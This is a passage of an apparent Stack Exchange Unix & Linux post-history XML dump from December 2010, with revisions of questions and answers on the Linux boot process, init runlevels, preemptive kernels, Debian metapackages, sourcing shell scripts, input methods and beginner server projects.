[linux/init/main.c][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.36.y.git;a=blob_plain;f=init/main.c&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Init**&#xD;&#xA;&#xD;&#xA;Init starts all the necessary user process to bring the system into the desired state, this routine highly depends on the distribution and the runlevel invoked.&#xD;&#xA;&#xD;&#xA;Type `runlevel` into the console, this gives you the current runlevel of your system.&#xD;&#xA;&#xD;&#xA;Take a look into `/etc/rcX.d/` (or `/etc/rc.d/rcX.d/`), replacing the X with your runlevel.  &#xD;&#xA;These are symlinks ordered by execution priority. `S01....` means, this scripts gets started very early, while `S99....` runs at the very end of the boot process. The `KXX....` symlinks do the same but for the shutdown sequence.&#xD;&#xA;&#xD;&#xA;Generally, these scripts handle disks, networking, logging, device control, special drivers, environment and many other required sequences." />
  <row Id="11502" PostHistoryTypeId="2" PostId="5186" RevisionGUID="92ea5a2b-347b-498d-82d5-9dc8e424a9cb" CreationDate="2010-12-28T12:05:15.863" UserId="1946" Text="The boot loader jumps to the image entry point passing kernel command line (if any), and the kernel handles the rest." />
  <row Id="11503" PostHistoryTypeId="2" PostId="5187" RevisionGUID="94bb5c25-81de-4f45-969c-7afbbdb7ba40" CreationDate="2010-12-28T12:40:25.370" UserId="2871" Text=" - Kernel takes in the control of the&#xD;&#xA;   system H/W as soon as you see&#xD;&#xA;   &quot;Uncompressing Linux..&quot;.&#xD;&#xA; - Kernel checks and sets the the BIOS&#xD;&#xA;   registers of graphics cards and the&#xD;&#xA;   screen output format.&#xD;&#xA; - Kernel then reads BIOS settings, and&#xD;&#xA;   initializes basic hardware&#xD;&#xA;   interfaces.&#xD;&#xA; - Next the drivers in the kernel&#xD;&#xA;   initialize the hardware.&#xD;&#xA; - Then the Kernel check for the&#xD;&#xA;   partitons&#xD;&#xA; - Then it mounts the root file system&#xD;&#xA; - Then the kernel starts init, which&#xD;&#xA;   boots the main system with all its&#xD;&#xA;   programs and configurations.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="11504" PostHistoryTypeId="2" PostId="5188" RevisionGUID="6f8fe810-0719-49bf-acae-7273b3fc3b4f" CreationDate="2010-12-28T12:45:46.460" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know how can i search for the BSP(Board Specific Packages) sections in the Linux Source code?  &#xD;&#xA;&#xD;&#xA;All comments are welcomed.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;" />
  <row Id="11505" PostHistoryTypeId="1" PostId="5188" RevisionGUID="6f8fe810-0719-49bf-acae-7273b3fc3b4f" CreationDate="2010-12-28T12:45:46.460" UserId="2871" Text="How to find the BSP sections in the Linux Source code?" />
  <row Id="11506" PostHistoryTypeId="3" PostId="5188" RevisionGUID="6f8fe810-0719-49bf-acae-7273b3fc3b4f" CreationDate="2010-12-28T12:45:46.460" UserId="2871" Text="élinuxàébspà" />
  <row Id="11507" PostHistoryTypeId="2" PostId="5189" RevisionGUID="ecb22c0b-bcf8-418d-a69a-606490998240" CreationDate="2010-12-28T12:48:21.410" UserId="3069" Text="On a preemptive kernel, a process running in kernel mode can be replaced by another process while in the middle of a kernel function.&#xD;&#xA;&#xD;&#xA;This only applies to processes running in kernel mode, a CPU executing processes in user mode is considered &quot;idle&quot;. If a user mode process wants to request a service from the kernel, he has to issue an exception which the kernel can handle.&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;Process `A` executes an exception handler, Process `B` gets awaken by an IRQ request, the kernel replaces process `A` with `B` (a forced process switch). Process `A` is left unfinished. The scheduler decides afterwards if process `A` gets CPU time or not.&#xD;&#xA;&#xD;&#xA;On a nonpreemptive kernel, process `A` would just have used all the processor time until he is finished or voluntarily decides to allow other processes to interrupt him (a planned process switch).&#xD;&#xA;" />
  <row Id="11508" PostHistoryTypeId="2" PostId="5190" RevisionGUID="c6d12e39-89b3-44b8-a618-13646f7ff21e" CreationDate="2010-12-28T12:55:01.043" UserId="635" Text="As Michael suggests, the window manager is not responsible for managing the input method. First you will need to choose an [input method][1], of which `IBus`, `SCIM` and `uim` appear to be the most popular.&#xD;&#xA;&#xD;&#xA;Next, you need to make sure it is started when `X` is launched. You've mentioned you are using a lightweight WM, therefore you'll likely want to add it to an X init file, such as&#xD;&#xA;`~/.xinitrc`:&#xD;&#xA;&#xD;&#xA;    export GTK_IM_MODULE=scim&#xD;&#xA;    export XMODIFIERS=@im=SCIM&#xD;&#xA;    export QT_IM_MODULE=scim&#xD;&#xA;    scim -d&#xD;&#xA;&#xD;&#xA;Depending on the input method you choose, the method to switch languages will differ. Typically, you'll need to `export LANG`, such as&#xD;&#xA;&#xD;&#xA;    export LANG=ja_JA.UTF-8&#xD;&#xA;&#xD;&#xA;... but sometimes right clicking on an input field and choosing &quot;Input Methods&quot; may suffice.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_input_methods_for_UNIX_platforms" />
  <row Id="11509" PostHistoryTypeId="2" PostId="5191" RevisionGUID="b1b00114-acee-420b-be46-15489513d54a" CreationDate="2010-12-28T13:44:28.913" UserId="2180" Text="A board support package may have pieces spread out in the kernel, but the typical parts are in `arch/`, and if your board requires drivers that aren't already part of the kernel, there may be some pieces in `drivers/`.&#xD;&#xA;&#xD;&#xA;Each `arch/` is set up a bit differently. Arm is an interesting one: look in `arch/arm/`, you'll see several cpu types and platforms there. If you look inside a cpu type, like `arch/arm/mach-at91/`, you'll see lots of files for the various specific cpus as well as `board-*.c` files, where board-specific peripherals are set up." />
  <row Id="11510" PostHistoryTypeId="2" PostId="5192" RevisionGUID="1b0c7b24-f2e9-466b-aee3-bcf79a20dac1" CreationDate="2010-12-28T14:13:16.547" UserId="2932" Text="What is your reason/objective to do this? &#xD;&#xA;&#xD;&#xA;Have you considered just running two different **virtual machines**? If VMs can be considered, there are a number of different ways to accomplish this from within the host machine itself, without tampering with the guests." />
  <row Id="11515" PostHistoryTypeId="5" PostId="5189" RevisionGUID="9d13d063-d82f-4770-a1f2-3a7b162ffaed" CreationDate="2010-12-28T15:43:45.320" UserId="3069" Comment="added selective preemptive kernel" Text="On a preemptive kernel, a process running in kernel mode can be replaced by another process while in the middle of a kernel function.&#xD;&#xA;&#xD;&#xA;This only applies to processes running in kernel mode, a CPU executing processes in user mode is considered &quot;idle&quot;. If a user mode process wants to request a service from the kernel, he has to issue an exception which the kernel can handle.&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;Process `A` executes an exception handler, Process `B` gets awaken by an IRQ request, the kernel replaces process `A` with `B` (a forced process switch). Process `A` is left unfinished. The scheduler decides afterwards if process `A` gets CPU time or not.&#xD;&#xA;&#xD;&#xA;On a nonpreemptive kernel, process `A` would just have used all the processor time until he is finished or voluntarily decides to allow other processes to interrupt him (a planned process switch).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Today's Linux based operating systems generally do not include a fully preemptive kernel, there are still critical functions which have to run without interruption. So I think you could call this a &quot;selective preemptive kernel&quot;.&#xD;&#xA;&#xD;&#xA;Apart from that, there are approaches to make the Linux kernel (nearly) fully preemptive.&#xD;&#xA; &#xD;&#xA; - [Real Time Linux Wiki][1]  &#xD;&#xA; - [LWN article][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://rt.wiki.kernel.org/index.php/Main_Page&#xD;&#xA;  [2]: http://lwn.net/Articles/146861/" />
  <row Id="11516" PostHistoryTypeId="5" PostId="5180" RevisionGUID="f0ae58b3-fad3-4409-b396-4d58f73f2f25" CreationDate="2010-12-28T15:45:48.703" UserId="1207" Comment="deleted 40 characters in body" Text="What is the difference between a &quot;Non-preemptive&quot;, &quot;Preemptive&quot; and &quot;Selective Preemptive&quot; Kernel?  &#xD;&#xA;&#xD;&#xA;Hope someone can shed some light into this.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="11517" PostHistoryTypeId="2" PostId="5194" RevisionGUID="6064607d-6db2-44af-bf2a-f951a03b6c11" CreationDate="2010-12-28T17:06:08.307" UserId="1389" Text="I have recently grown tired of the way Rhythmbox starts up every time I plug in my MP3 player. I know I could simply disable this, but I've decided to uninstall Rhythmbox instead. It's such a memory-hungry application anyhow.&#xD;&#xA;&#xD;&#xA;However, there's a mysterious package called simply `gnome` that `apt-get` lists as being dependent on Rhythmbox.&#xD;&#xA;&#xD;&#xA;Could this be the result of someone successfully tampering with my system?&#xD;&#xA;&#xD;&#xA;There is no mention of the dependency on [this page][1].&#xD;&#xA;&#xD;&#xA;Here is the output of `dpkg -L gnome`&#xD;&#xA;&#xD;&#xA;    hostname:/home/user# dpkg -L gnome &#xD;&#xA;    /.&#xD;&#xA;    /usr&#xD;&#xA;    /usr/share&#xD;&#xA;    /usr/share/doc&#xD;&#xA;    /usr/share/doc/gnome&#xD;&#xA;    /usr/share/doc/gnome/copyright&#xD;&#xA;    /usr/share/doc/gnome/changelog.gz&#xD;&#xA;&#xD;&#xA;Here is the output of `aptitude remove rhythmbox`:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    The following packages are BROKEN:&#xD;&#xA;      gnome &#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      rhythmbox &#xD;&#xA;    0 packages upgraded, 0 newly installed, 1 to remove and 20 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 14.0MB will be freed.&#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      gnome: Depends: rhythmbox (&gt;= 0.11.5) but it is not installable&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;    &#xD;&#xA;    Remove the following packages:&#xD;&#xA;    gnome&#xD;&#xA;    &#xD;&#xA;    Score is 119&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/lenny/rhythmbox&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11518" PostHistoryTypeId="1" PostId="5194" RevisionGUID="6064607d-6db2-44af-bf2a-f951a03b6c11" CreationDate="2010-12-28T17:06:08.307" UserId="1389" Text="What's up with this 'gnome' package?" />
  <row Id="11519" PostHistoryTypeId="3" PostId="5194" RevisionGUID="6064607d-6db2-44af-bf2a-f951a03b6c11" CreationDate="2010-12-28T17:06:08.307" UserId="1389" Text="éaptögetàéaptàéaptitudeàérhythmboxà" />
  <row Id="11520" PostHistoryTypeId="5" PostId="5194" RevisionGUID="8ab7cbe0-ccd5-4e58-9f17-e8a5a45c512d" CreationDate="2010-12-28T17:15:36.223" UserId="1389" Comment="deleted 17 characters in body" Text="I have recently grown tired of the way Rhythmbox starts up every time I plug in my MP3 player. I know I could simply disable this, but I've decided to uninstall Rhythmbox instead. It's such a memory-hungry application anyhow.&#xD;&#xA;&#xD;&#xA;However, there's a mysterious package called simply `gnome` that `apt-get` lists as being dependent on Rhythmbox. I guess it's the very GNOME environment. But why does aptitude recommend uninstalling it? Wouldn't that break my system?&#xD;&#xA;&#xD;&#xA;Here is the output of `dpkg -L gnome`&#xD;&#xA;&#xD;&#xA;    hostname:/home/user# dpkg -L gnome &#xD;&#xA;    /.&#xD;&#xA;    /usr&#xD;&#xA;    /usr/share&#xD;&#xA;    /usr/share/doc&#xD;&#xA;    /usr/share/doc/gnome&#xD;&#xA;    /usr/share/doc/gnome/copyright&#xD;&#xA;    /usr/share/doc/gnome/changelog.gz&#xD;&#xA;&#xD;&#xA;Here is the output of `aptitude remove rhythmbox`:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    The following packages are BROKEN:&#xD;&#xA;      gnome &#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      rhythmbox &#xD;&#xA;    0 packages upgraded, 0 newly installed, 1 to remove and 20 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 14.0MB will be freed.&#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      gnome: Depends: rhythmbox (&gt;= 0.11.5) but it is not installable&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;    &#xD;&#xA;    Remove the following packages:&#xD;&#xA;    gnome&#xD;&#xA;    &#xD;&#xA;    Score is 119&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/lenny/rhythmbox&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11521" PostHistoryTypeId="2" PostId="5195" RevisionGUID="bbf8b4ef-1b82-4bf5-85e0-b2e97f4b4fdc" CreationDate="2010-12-28T17:20:53.503" UserId="3336" Text="Hi,&#xD;&#xA;&#xD;&#xA;I would like to learn more about Linux...I briefly went through few books and quite a few articles online, but the only way to learn something is to actually start using it. &#xD;&#xA;&#xD;&#xA;I would like to jump in the deep end and configure a Linux server. So far I have downloaded Ubuntu Server.&#xD;&#xA;&#xD;&#xA;I'm looking for goal or a challenge if you like, something that will familirise me with Linux servers.&#xD;&#xA;&#xD;&#xA;Ideally I would like to be able to configure a secure mail, file and web servers. I have a strong programming background so I hope that it will help me out.&#xD;&#xA;&#xD;&#xA;I understand that this is not a specific question, I'm just looking for a milestone or a goal, otherwise I can spend weeks reading books and online articles.&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="11522" PostHistoryTypeId="1" PostId="5195" RevisionGUID="bbf8b4ef-1b82-4bf5-85e0-b2e97f4b4fdc" CreationDate="2010-12-28T17:20:53.503" UserId="3336" Text="A small challenge to familirise myself with Linux" />
  <row Id="11523" PostHistoryTypeId="3" PostId="5195" RevisionGUID="bbf8b4ef-1b82-4bf5-85e0-b2e97f4b4fdc" CreationDate="2010-12-28T17:20:53.503" UserId="3336" Text="éubuntuàéserveràémailàéfileöserverà" />
  <row Id="11524" PostHistoryTypeId="2" PostId="5196" RevisionGUID="5b379c4e-736c-42c9-929d-cda06f6d2749" CreationDate="2010-12-28T17:31:44.883" UserId="1615" Text="I intalled Linux Mint 10 and would like to use it instead of Windows as a desktop OS. The first thing I would like to do is to install the Chromium web browser.&#xD;&#xA;&#xD;&#xA;So I start *Software Manager* and then goes to *Chromium* and there is a button *Install* that I click on. The the progress bar at the bottom of the Software Manager goes up to *5%* before it goes down to *0* againg, and nothings happens.&#xD;&#xA;&#xD;&#xA;How do I install Chromium using Software Manager or any other graphical software in Linux Mint 10? " />
  <row Id="11525" PostHistoryTypeId="1" PostId="5196" RevisionGUID="5b379c4e-736c-42c9-929d-cda06f6d2749" CreationDate="2010-12-28T17:31:44.883" UserId="1615" Text="How do I install Chromium on Linux Mint using Software Manager?" />
  <row Id="11526" PostHistoryTypeId="3" PostId="5196" RevisionGUID="5b379c4e-736c-42c9-929d-cda06f6d2749" CreationDate="2010-12-28T17:31:44.883" UserId="1615" Text="édebianàéchromeàélinuxömintàésoftwareömanagerà" />
  <row Id="11527" PostHistoryTypeId="2" PostId="5197" RevisionGUID="8f8cec67-7fdc-43b4-92f0-bfceb28315f5" CreationDate="2010-12-28T17:38:10.680" UserId="1946" Text="To reveal this mystery just type `apt-cache show gnome` and behold:&#xD;&#xA;&gt; Description: The GNOME Desktop Environment, with extra components&#xD;&#xA; This is the GNOME Desktop environment, an intuitive and attractive&#xD;&#xA; desktop, with extra components.&#xD;&#xA;&gt;&#xD;&#xA; This package depends on the standard distribution of the GNOME desktop&#xD;&#xA; environment, plus a complete range of plugins and other applications&#xD;&#xA; integrating with GNOME and Debian, providing the best possible&#xD;&#xA; environment to date.&#xD;&#xA;" />
  <row Id="11528" PostHistoryTypeId="2" PostId="5198" RevisionGUID="79666eb7-319a-46e7-ad04-d54d214efc54" CreationDate="2010-12-28T18:51:21.023" UserId="3338" Text="On a different computer with high speed connection download and use unetbootin. Unetbootin will help you to download salix,puppy or zenwalk linux. Use unetbootin to move it to usb drive. if you can get the laptop to boot with the usb drive then you can install any one of this. All three will work on the specs you have mentioned. " />
  <row Id="11529" PostHistoryTypeId="2" PostId="5199" RevisionGUID="c6886c0e-14c6-4897-9fb0-8eeed850c4e3" CreationDate="2010-12-28T18:52:28.670" UserId="1937" Text="Using xcalib:&#xD;&#xA;&#xD;&#xA;xcalib --contrast [percentage] -- alter" />
  <row Id="11530" PostHistoryTypeId="5" PostId="5184" RevisionGUID="480950a9-ec01-4852-b7bf-50cf2fbce57f" CreationDate="2010-12-28T19:16:49.763" UserId="885" Comment="deleted 19 characters in body; edited tags; edited title" Text="I just to want to know the flow of activities happening after loading the linux kernel image into the RAM after boot process.&#xD;&#xA;" />
  <row Id="11531" PostHistoryTypeId="4" PostId="5184" RevisionGUID="480950a9-ec01-4852-b7bf-50cf2fbce57f" CreationDate="2010-12-28T19:16:49.763" UserId="885" Comment="deleted 19 characters in body; edited tags; edited title" Text="What happens after loading the linux kernel image into RAM" />
  <row Id="11532" PostHistoryTypeId="6" PostId="5184" RevisionGUID="480950a9-ec01-4852-b7bf-50cf2fbce57f" CreationDate="2010-12-28T19:16:49.763" UserId="885" Comment="deleted 19 characters in body; edited tags; edited title" Text="élinuxàékernelàébootà" />
  <row Id="11533" PostHistoryTypeId="5" PostId="5188" RevisionGUID="4b1ecaef-ef45-4fc2-b8d5-bb38ffb456fd" CreationDate="2010-12-28T19:18:27.160" UserId="885" Comment="deleted 31 characters in body; edited tags; edited title" Text="I would like to know how can i search for the BSP(Board Specific Packages) sections in the Linux Source code?  &#xD;&#xA;&#xD;&#xA;All comments are welcomed.  &#xD;&#xA;" />
  <row Id="11534" PostHistoryTypeId="4" PostId="5188" RevisionGUID="4b1ecaef-ef45-4fc2-b8d5-bb38ffb456fd" CreationDate="2010-12-28T19:18:27.160" UserId="885" Comment="deleted 31 characters in body; edited tags; edited title" Text="How to find the BSP sections in the Linux source code?" />
  <row Id="11535" PostHistoryTypeId="6" PostId="5188" RevisionGUID="4b1ecaef-ef45-4fc2-b8d5-bb38ffb456fd" CreationDate="2010-12-28T19:18:27.160" UserId="885" Comment="deleted 31 characters in body; edited tags; edited title" Text="élinuxàékernelàébspà" />
  <row Id="11536" PostHistoryTypeId="2" PostId="5200" RevisionGUID="2426aa6c-db34-49ba-acfb-f8d92ed427bf" CreationDate="2010-12-28T19:39:34.950" UserId="885" Text="Debian (and derivatives) break up large pieces of software into many small packages. This way, if you only want, say, a specific Gnome application, you can just install its package and not waste download time, disk space or other resources installing the whole of Gnome.&#xD;&#xA;&#xD;&#xA;But for the people who do want the whole thing, there are a number of *metapackages* that exist solely for their dependencies. For example, if you want all of Gnome, you can install the `gnome` package, and through its dependencies it will pull in all the Gnome applications. The metapackage itself doesn't contain any file, so removing it won't have any effect outside the package manager.&#xD;&#xA;&#xD;&#xA;`gnome` depends on `rhythmbox` because Rhythmbox is part of Gnome. If you remove the `gnome` package, just make sure that apt doesn't also remove applications that were installed solely because they were dependencies of `gnome` and that you want to keep. In aptitude, press `m` to mark a package as manually installed, so it won't be removed if the packages that depend on it are removed.&#xD;&#xA;" />
  <row Id="11537" PostHistoryTypeId="6" PostId="5194" RevisionGUID="3b130b51-0733-4164-91ce-fd58f9d46f2a" CreationDate="2010-12-28T19:40:19.240" UserId="885" Comment="edited tags" Text="éubuntuàégnomeàédebianàépackageömanagementàéaptà" />
  <row Id="11538" PostHistoryTypeId="2" PostId="5201" RevisionGUID="43caf6e3-efe9-4d10-8673-3849b979ad45" CreationDate="2010-12-28T21:18:10.330" UserId="3309" Text="I challenge you to configure a secure mail, file and web servers. Does that help?&#xD;&#xA;&#xD;&#xA;Sounds like you've done a good job of coming up with your own challenges. Do those first, then think of something new. Rinse, repeat." />
  <row Id="11539" PostHistoryTypeId="2" PostId="5202" RevisionGUID="c22938d7-1268-4784-a7c0-80034bcbe6c5" CreationDate="2010-12-28T21:51:25.137" UserId="272" Text="Here's a couple:&#xD;&#xA;&#xD;&#xA; - run Linux as your primary operating system, on both your desktop and your laptop, if any&#xD;&#xA; - install KVM and virt-manager and build a couple of virtual machines&#xD;&#xA; - build a package for your distro of choice (a .deb or .rpm file); it helps in understanding a lot of things&#xD;&#xA; - build your own kernel&#xD;&#xA;&#xD;&#xA;These might not seem directly related to your own personal goals of learning to build web servers, but I assure you, if you understand Linux, you will build all kinds of servers easily.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11540" PostHistoryTypeId="2" PostId="5203" RevisionGUID="8472c6c4-c2a7-41f2-a995-3a1445af0299" CreationDate="2010-12-28T22:07:29.200" UserId="1207" Text="I'm not sure how &quot;on topic&quot; this question is but I think that it is fun.  The more of your computing that you move into Linux, the faster you will start to pick things up. &#xD;&#xA;&#xD;&#xA;Here is something I did shortly after moving to using Linux exclusively.  It requires having a spare computer.&#xD;&#xA;&#xD;&#xA; - Set up a server with Ubuntu Server.&#xD;&#xA; - Set up SSH access to the server.&#xD;&#xA; - Remove the Keyboard and Monitor and do all further configuration and administration remotely.  For me, this was a serious learning experience since it forces you to (1) do everything via the shell and (2) be very careful about configuration changes.&#xD;&#xA; - Get to work configuring the services you want.  You might consider doing some of the following&#xD;&#xA;  - Focus on security from the start.  Configure a firewall.  Secure your ssh settings. Ensure you understand what services are running on the machine and why.&#xD;&#xA;  - Set up client machines to back up regularly to your server or to some external media mounted on the server or create some other backup solution that requires interaction between your clients and the server.&#xD;&#xA;&#xD;&#xA;On any Debian-based system, a file-server and web server will be relatively easy to set up and configure.  An email server will be more difficult, at least if you attempt to get the type of reliable mail delivery that a service like gmail can provide." />
  <row Id="11541" PostHistoryTypeId="5" PostId="5195" RevisionGUID="cfa23a38-2f98-4ec7-b08d-63840e65b2d4" CreationDate="2010-12-28T22:17:00.003" UserId="1207" Comment="deleted 17 characters in body; edited title" Text="I would like to learn more about Linux. I briefly went through a few books and quite a few articles online, but the only way to learn something is to actually start using it. &#xD;&#xA;&#xD;&#xA;I would like to jump in the deep end and configure a Linux server. So far I have downloaded Ubuntu Server.&#xD;&#xA;&#xD;&#xA;I'm looking for goal or a challenge if you like, something that will familiarize me with Linux servers.&#xD;&#xA;&#xD;&#xA;Ideally, I would like to be able to configure a secure mail, file and web servers. I have a strong programming background so I hope that it will help me out.&#xD;&#xA;&#xD;&#xA;I understand that this is not a specific question, I'm just looking for a milestone or a goal, otherwise I can spend weeks reading books and online articles." />
  <row Id="11542" PostHistoryTypeId="4" PostId="5195" RevisionGUID="cfa23a38-2f98-4ec7-b08d-63840e65b2d4" CreationDate="2010-12-28T22:17:00.003" UserId="1207" Comment="deleted 17 characters in body; edited title" Text="A small challenge to familiarize myself with Linux" />
  <row Id="11543" PostHistoryTypeId="2" PostId="5204" RevisionGUID="2b9d79b6-9415-4e65-b043-1eb192463687" CreationDate="2010-12-28T22:28:23.317" UserId="3341" Text="I have a simple script that I want to invoke 'pushed' followed by another command. But the 'pushd' command inside the script doesn't seem to stick past the script.&#xD;&#xA;&#xD;&#xA;What's a way to make this execute in the shell terminal?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    pushd $1&#xD;&#xA;    time&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11544" PostHistoryTypeId="1" PostId="5204" RevisionGUID="2b9d79b6-9415-4e65-b043-1eb192463687" CreationDate="2010-12-28T22:28:23.317" UserId="3341" Text="Invoking pushd in a shell script" />
  <row Id="11545" PostHistoryTypeId="3" PostId="5204" RevisionGUID="2b9d79b6-9415-4e65-b043-1eb192463687" CreationDate="2010-12-28T22:28:23.317" UserId="3341" Text="écommandölineàéshellà" />
  <row Id="11546" PostHistoryTypeId="2" PostId="5205" RevisionGUID="e878cdbc-13fe-40b0-9299-a8a0f7e583c8" CreationDate="2010-12-28T22:43:05.837" UserId="85" Text="Alex is right, you can install in your home directory.&#xD;&#xA;&#xD;&#xA;Full instructions for installing Mono outside of /usr are available here:&#xD;&#xA;&#xD;&#xA;http://www.mono-project.com/Parallel_Mono_Environments&#xD;&#xA;&#xD;&#xA;Following these instructions is helpful if, for example, somebody installed Mono in /usr later on but you wanted to keep using your version." />
  <row Id="11547" PostHistoryTypeId="2" PostId="5206" RevisionGUID="754beb47-cc7b-4b28-b7ed-5266e790d51f" CreationDate="2010-12-28T22:54:06.960" UserId="138" Text="A shell script normally executes in a separate instance of the shell program, `/bin/sh` in this case. Your `pushd` command affects that sub-shell's working directory only. If it were otherwise, any program you ran from the shell could mess with your shell's working directory.&#xD;&#xA;&#xD;&#xA;To execute that script within the current shell, say this instead:&#xD;&#xA;&#xD;&#xA;    $ . my-command somedir&#xD;&#xA;&#xD;&#xA;or, more verbosely:&#xD;&#xA;&#xD;&#xA;    $ source my-command somedir&#xD;&#xA;&#xD;&#xA;To make it appear that your program works like any other, you can use an alias:&#xD;&#xA;&#xD;&#xA;    $ alias mycmd='source my-command'&#xD;&#xA;    $ mycmd /bin&#xD;&#xA;    $ pwd&#xD;&#xA;    /bin" />
  <row Id="11548" PostHistoryTypeId="2" PostId="5207" RevisionGUID="48ff85f0-256a-428b-a1db-46c0db3456f1" CreationDate="2010-12-28T22:56:30.050" UserId="2180" Text="Scripts cannot alter their parent processe's environment. Because of this, any environment changes made in the script are lost.&#xD;&#xA;&#xD;&#xA;To run the script in the same process, you can 'source' the script like this&#xD;&#xA;&#xD;&#xA;    . /path/to/script.sh&#xD;&#xA;" />
  <row Id="11549" PostHistoryTypeId="5" PostId="5207" RevisionGUID="e7a0ced0-a9f6-4297-a6de-bea2b416b504" CreationDate="2010-12-29T00:24:40.743" UserId="2180" Comment="added 5 characters in body" Text="Scripts cannot alter their parent processe's environment. Because of this, any environment changes made in the script are lost.&#xD;&#xA;&#xD;&#xA;To run the script in the same process, you can 'source' the script like this&#xD;&#xA;&#xD;&#xA;    . /path/to/script.sh args&#xD;&#xA;" />
  <row Id="11550" PostHistoryTypeId="5" PostId="5204" RevisionGUID="e42fb1de-9edf-4ee6-a5be-8925db77bf56" CreationDate="2010-12-29T00:40:06.800" UserId="3341" Comment="added 102 characters in body" Text="I have a simple script that I want to invoke 'pushed' followed by another command. But the 'pushd' command inside the script doesn't seem to stick past the script.&#xD;&#xA;&#xD;&#xA;What's a way to make this execute in the shell terminal?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    pushd $1&#xD;&#xA;    time&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I really want to accomplish is invoke `pushd` followed by `other-command` with one command.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11551" PostHistoryTypeId="2" PostId="5208" RevisionGUID="c48c06e1-2b06-4d94-a2a2-99c998ad6f64" CreationDate="2010-12-29T01:57:45.783" UserId="3283" Text="I'm asking as I have looked for such &amp; can't find a comprehensive list.&#xD;&#xA;&#xD;&#xA;Feel free to post any less-well-known rolling distros, but I'm really looking for a comprehensive list. I'm thinking of creating a Wikipedia page &quot;List of rolling-release Linux distributions&quot;. If there's already a good list somewhere then would help produce a draft of the Wikipedia page. If there isn't such a list on the Web it highlights the need of gathering that information on a site where most people would look for it.&#xD;&#xA;&#xD;&#xA;Wikipedia seemed to me like the obvious choice but suggestions of a better site [preferably, but not necessarily, a wiki] are welcome.&#xD;&#xA;&#xD;&#xA;Please don't post Dev.-branches: eg Fedora-Rawhide. Please don't post the following rolling-distros as I'm already aware of them: Aptosid, LMDE, AnitX;  OpenSuSE-Tumbleweed; Yoper; Foresight; PCLOS; Unity; Arch, ArchBang, Chakra, Kahel; Gentoo &amp; Sabayon; Lunar, Sorcerer, SourceMage.&#xD;&#xA;&#xD;&#xA;If any I've mentioned aren't rolling do correct me. I know some might not call AntiX &amp; LMDE rolling as Debian-Testing &quot;cycles&quot;. I also know PCLOS &amp; Sabayon can need to be reinstalled (eg when PCLOS re-forks the Mandriva base).&#xD;&#xA;&#xD;&#xA;BTW I know there's a similar question asking &quot;What distributions have rolling releases?&quot; that was asked in August -- however it seems &quot;inactive&quot; and I'm really after a comprehensive list not the usual suspects. &#xD;&#xA;&#xD;&#xA;My thanks to everyone who posts a comment or an answer. Also, thank you to anyone who up-votes (and even those who down-vote) this question.&#xD;&#xA;&#xD;&#xA;[Please leave a comment if want to help create such a list or email my user-name at gmail.] &#xD;&#xA;&#xD;&#xA;PS If anyone objects to the question please post a comment so the moderator can choose whether to close it. I'm happy to re-edit the question if anyone wants so please let me know. :-)" />
  <row Id="11552" PostHistoryTypeId="1" PostId="5208" RevisionGUID="c48c06e1-2b06-4d94-a2a2-99c998ad6f64" CreationDate="2010-12-29T01:57:45.783" UserId="3283" Text="Where on the Web can I find a comprehensive list of rolling-release Linux distros?" />
  <row Id="11553" PostHistoryTypeId="3" PostId="5208" RevisionGUID="c48c06e1-2b06-4d94-a2a2-99c998ad6f64" CreationDate="2010-12-29T01:57:45.783" UserId="3283" Text="élinuxàédistrosàédistributionöchoiceà" />
  <row Id="11554" PostHistoryTypeId="2" PostId="5209" RevisionGUID="42e46fb5-814a-4b11-933b-4482c8501bc9" CreationDate="2010-12-29T02:35:09.400" UserId="2333" Text="When I use `kdialog --getsavefilename /path/to/specific/folder/`, it opens folder/'s parent directory, not folder/ itself. How do I get it to start where I want it to?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="11555" PostHistoryTypeId="1" PostId="5209" RevisionGUID="42e46fb5-814a-4b11-933b-4482c8501bc9" CreationDate="2010-12-29T02:35:09.400" UserId="2333" Text="kdialog --getsavefilename target/directory?" />
  <row Id="11556" PostHistoryTypeId="3" PostId="5209" RevisionGUID="42e46fb5-814a-4b11-933b-4482c8501bc9" CreationDate="2010-12-29T02:35:09.400" UserId="2333" Text="éshellàékdeà" />
